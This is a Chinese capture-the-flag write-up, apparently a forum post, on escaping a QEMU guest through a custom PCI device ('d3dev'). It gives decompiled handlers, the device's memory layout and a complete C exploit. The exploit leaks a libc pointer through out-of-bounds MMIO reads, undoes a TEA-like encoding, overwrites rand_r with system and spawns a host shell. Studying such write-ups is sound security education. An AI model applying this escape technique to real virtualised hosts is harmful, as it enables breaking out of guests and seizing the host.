0x00 前言
#!/bin/sh
mkdir /tmp
mount -t tmpfs none /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
mdev -s
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "Interactive mode\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为root
umount /proc
umount /sys
poweroff -d 0 -f
0x01 前置知识
0x02 漏洞分析
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass_0 *v2; // rax
v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
a1,
(const char *)&env.tlb_table[1][115]._anon_0.dummy[31],
"/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
229,
"d3dev_class_init");
v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;
v2->exit = 0LL;
*(_DWORD *)&v2->vendor_id = 0x11E82333; // vendor=2333 device=11E8
v2->revision = 0x10;
v2->class_id = 0xFF;
}
void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp)
{
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);
pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}
.data.rel.ro:0000000000B78980 d3dev_mmio_ops dq offset d3dev_mmio_read; read
.data.rel.ro:0000000000B78980 dq offset d3dev_mmio_write; write
...
.data.rel.ro:0000000000B78920 d3dev_pmio_ops dq offset d3dev_pmio_read; read
.data.rel.ro:0000000000B78920 dq offset d3dev_pmio_write; write
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
...
if ( size == 4 )
{
offset = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
... // 这部分后文会细讲
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[offset] = (unsigned int)val;// 任意写
}
}
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 控制seek
}
...
}
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
...
data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读
low = data;
high = HIDWORD(data);
... // 这里做了异或加密,后面会提到,这里省略
return high;
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
...
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val; // "sh"
key = opaque->key;
do
*key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system
&opaque->r_seed,
28LL,
val,
*(_QWORD *)&size);
while ( key != (uint32_t *)&opaque->rand_r );
}
}
...
}
0x03 编写exp
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t data; // rax
unsigned int i; // esi
unsigned int low; // ecx
uint64_t high; // rax
...
i = 0xC6EF3720;
low = data; // data为seek和addr控制的指针指向的8字节数据
high = HIDWORD(data);
do
{
LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * low
low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);
i += 0x61C88647;
}
while ( i );
...
return high;
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
...
}
else if ( addr > 8 )
{
...
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL; // key[0] = key[1] = 0
*(_QWORD *)&opaque->key[2] = 0LL; // key[2] = key[3] = 0
}
}
else
{
...
}
}
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 00ff: 2333:11e8
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
# cat /sys/devices/pci0000:00/0000:00:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
febf1000即为mmio基址,c040即为pmio基址。
0x04 测试exp
exp:
musl-gcc exp.c -o exp --static -Os
strip -s exp
find . | cpio -H newc -ov -F ../rootfs.cpio
rm exp
0x05 完整exp
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#define libc_system_offset 0x55410
#define libc_rand_r_offset 0x4aeb0
const uint32_t mmio_phy_base = 0xfebf1000;
const uint32_t mmio_mem_size = 0x800;
const uint32_t pmio_phy_base = 0xc040;
const char sys_mem_file[] = "/dev/mem";
uint64_t mmio_mem = 0x0;
int die(const char *err_info){
printf("[-] Exit with: %s\n.", err_info);
exit(-1);
}
void *mmap_file(const char *filename, uint32_t size, uint32_t offset){
int fd = open(filename, O_RDWR|O_SYNC);
if(fd<0){
printf("[-] Can not open file: '%s'.\n", filename);
die("OPEN ERROR!");
}
void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
if(ptr==MAP_FAILED){
printf("[-] Can not mmap file: '*%s'.\n", filename);
die("MMAP ERROR!");
}
close(fd);
return ptr;
}
//mmio op
void mmio_write(uint64_t addr, uint64_t val){
*(uint64_t *)(mmio_mem+addr) = val;
}
uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)(mmio_mem+addr);
}
//pmio op
void pmio_write(uint32_t addr, uint32_t val){
outl(val, pmio_phy_base+addr);
}
uint32_t pmio_read(uint32_t addr){
return inl(pmio_phy_base+addr);
}
void decode(uint32_t v[2]){
uint32_t i = 0;
do{
i -= 0x61C88647;
v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
} while(i!=0xC6EF3720);
}
void encode(uint32_t v[2]){
uint32_t i = 0xC6EF3720;
do{
v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));
v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));
i += 0x61C88647;
} while(i);
}
int main(){
mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);
printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));
if(iopl(3)) die("PMIO PERMISSION ERROR!");
pmio_write(0, 1); // memory_mode = 1
pmio_write(4, 0); // key[0-3] = 0
pmio_write(8, 0x100); // seek = 0x100
printf("[*] Set block seek: %#x.\n", pmio_read(8));
uint64_t glibc_randr = mmio_read(24);
decode(&glibc_randr);
printf("[*] rand_r@glibc %#lx.\n", glibc_randr);
uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;
printf("[+] system@glibc: %#lx.\n", glibc_system);
encode(&glibc_system);
printf("[*] Overwrite rand_r ptr.\n");
mmio_write(24, glibc_system);
pmio_write(28, 0x6873); // "sh"
return 0;
}
0x06 exp运行结果
0x07 参考
0x08 相关附件
看雪ID:lakwsh
https://bbs.pediy.com/user-home-678520.htm